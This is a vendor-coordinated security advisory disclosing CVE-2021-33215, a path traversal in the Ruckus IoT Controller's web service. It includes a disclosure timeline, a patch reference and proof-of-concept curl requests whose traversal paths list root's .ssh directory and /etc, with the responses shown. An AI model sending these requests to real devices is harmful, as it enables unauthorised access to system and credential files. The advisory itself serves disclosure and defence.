KL-001-2021-005: CommScope Ruckus IoT Controller Web Application Directory Traversal

Title: CommScope Ruckus IoT Controller Web Application Directory Traversal
Advisory ID: KL-001-2021-005
Publication Date: 2021.05.26
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2021-005.txt


1. Vulnerability Details

     Affected Vendor: CommScope
     Affected Product: Ruckus IoT Controller
     Affected Version: 1.7.1.0 and earlier
     Platform: Linux
     CWE Classification: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'),
CWE-250: Execution with Unnecessary Privileges
     CVE ID: CVE-2021-33215


2. Vulnerability Description

     A Python script (web.py) for a Dockerized webservice contains
     a directory traversal vulnerability, which can be leveraged by
     an authenticated attacker to view the contents of directories
     on the IoT Controller.


3. Technical Description

     The CommScope Ruckus IoT Controller features a directory
     traversal vulnerability that allows an authenticated attacker
     to explore the IoT Controller's file system. The vulnerable
     Python script is /VRIOT/ops/docker/webservice/web.py.

     With the web application running as root, this allows for all
     directories to be explored.

     An authentication token is required. But a token is easily
     obtained due to hard-coded, default, unchangeable web application
     credentials (CVE-2021-33219).


4. Mitigation and Remediation Recommendation

     The vendor has released an updated firmware (1.8.0.0) which
     remediates the described vulnerability. Firmware and release
     notes are available at:

     https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf


5. Credit

     This vulnerability was discovered by Jim Becher (@jimbecher)
     of KoreLogic, Inc.


6. Disclosure Timeline

     2021.03.30 - KoreLogic submits vulnerability details to
                  CommScope.
     2021.03.30 - CommScope acknowledges receipt and the intention
                  to investigate.
     2021.04.06 - CommScope notifies KoreLogic that this issue,
                  along with several others reported by KoreLogic,
                  will require more than the standard 45 business
                  day remediation timeline.
     2021.04.06 - KoreLogic agrees to extend disclosure embargo if
                  necessary.
     2021.04.30 - CommScope informs KoreLogic that remediation for
                  this vulnerability will be available inside of the
                  standard 45 business day timeline. Requests
                  KoreLogic acquire CVE number for this
                  vulnerability.
     2021.05.14 - 30 business days have elapsed since the
                  vulnerability was reported to CommScope.
     2021.05.17 - CommScope notifies KoreLogic that the patched
                  version of the firmware will be available the week
                  of 2021.05.24.
     2021.05.19 - KoreLogic requests CVE from MITRE.
     2021.05.19 - MITRE issues CVE-2021-33215.
     2021.05.25 - CommScope releases firmware 1.8.0.0 and associated
                  advisory.
     2021.05.26 - KoreLogic public disclosure.


7. Proof of Concept

     $ curl -k -H "Authorization: Token [valid token]"
'https://192.168.2.220/service/v1/node-red/static?path=/../../../../../../../../root/.ssh/'

     {u'base_path': u'/VRIOT/node-red/static/../../../../../../../../root/.ssh/',
      u'message': u'List',
      u'response': [{u'is_dir': False,
                     u'is_file': True,
                     u'is_symlink': False,
                     u'name': u'known_hosts',
                     u'path': u'/VRIOT/node-red/static/../../../../../../../../root/.ssh/known_hosts',
                     u'showpath': u'https://192.168.2.220/node-static/../../../../../../../../root/.ssh/known_hosts',
                     u'st_atime': 1582707570.3173862,
                     u'st_ctime': 1582707550.1438398,
                     u'st_dev': 2049,
                     u'st_gid': 0,
                     u'st_ino': 132199,
                     u'st_mode': 33188,
                     u'st_mtime': 1582707550.1438398,
                     u'st_nlink': 1,
                     u'st_size': 963,
                     u'st_uid': 0}],
      u'static_path': u'/VRIOT/node-red/static'}

     The above output is a pretty-printed version of the JSON response returned.

     $ curl -k -H "Authorization: Token [valid token]"
'https://192.168.2.220/service/v1/node-red/static?path=/../../../../../../../../etc/'
     {u'base_path': u'/VRIOT/node-red/static/../../../../../../../../etc/',
      u'message': u'List',
      u'response': [{u'is_dir': True,
                     u'is_file': False,
                     u'is_symlink': False,
                     u'name': u'python3',
                     u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/python3',
                     u'showpath': u'/../../../../../../../../etc/python3',
                     u'st_atime': 1610463245.7594006,
                     u'st_ctime': 1493664067.5699568,
                     u'st_dev': 2049,
                     u'st_gid': 0,
                     u'st_ino': 262743,
                     u'st_mode': 16877,
                     u'st_mtime': 1493664067.5699568,
                     u'st_nlink': 2,
                     u'st_size': 4096,
                     u'st_uid': 0},
                    {u'is_dir': True,
                     u'is_file': False,
                     u'is_symlink': False,
                     u'name': u'ldap',
                     u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/ldap',
                     u'showpath': u'/../../../../../../../../etc/ldap',
                     u'st_atime': 1610463245.7594006,
                     u'st_ctime': 1527803641.495955,
                     u'st_dev': 2049,
                     u'st_gid': 0,
                     u'st_ino': 304157,
                     u'st_mode': 16877,
                     u'st_mtime': 1527803641.495955,
                     u'st_nlink': 2,
                     u'st_size': 4096,
                     u'st_uid': 0},
                    {u'is_dir': False,
                     u'is_file': True,
                     u'is_symlink': False,
                     u'name': u'rsyslog.conf',
                     u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/rsyslog.conf',
                     u'showpath': u'https://192.168.2.220/node-static/../../../../../../../../etc/rsyslog.conf',
                     u'st_atime': 1609718505.600734,
                     u'st_ctime': 1493664067.573957,
                     u'st_dev': 2049,
                     u'st_gid': 0,
                     u'st_ino': 262833,
                     u'st_mode': 33188,
                     u'st_mtime': 1453934568.0,
                     u'st_nlink': 1,
                     u'st_size': 1371,
                     u'st_uid': 0},
                    {u'is_dir': True,
                     u'is_file': False,
                     u'is_symlink': False,
                     u'name': u'pacemaker',
                     u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/pacemaker',
                     u'showpath': u'/../../../../../../../../etc/pacemaker',
                     u'st_atime': 1610463245.7674005,
                     u'st_ctime': 1550175549.2084513,
                     u'st_dev': 2049,
                     u'st_gid': 0,
                     u'st_ino': 267639,
                     u'st_mode': 16877,
                     u'st_mtime': 1550175549.2084513,
                     u'st_nlink': 2,
                     u'st_size': 4096,
                     u'st_uid': 0},
     ...
     ...

     The above output is a pretty-printed version of the JSON response returned.



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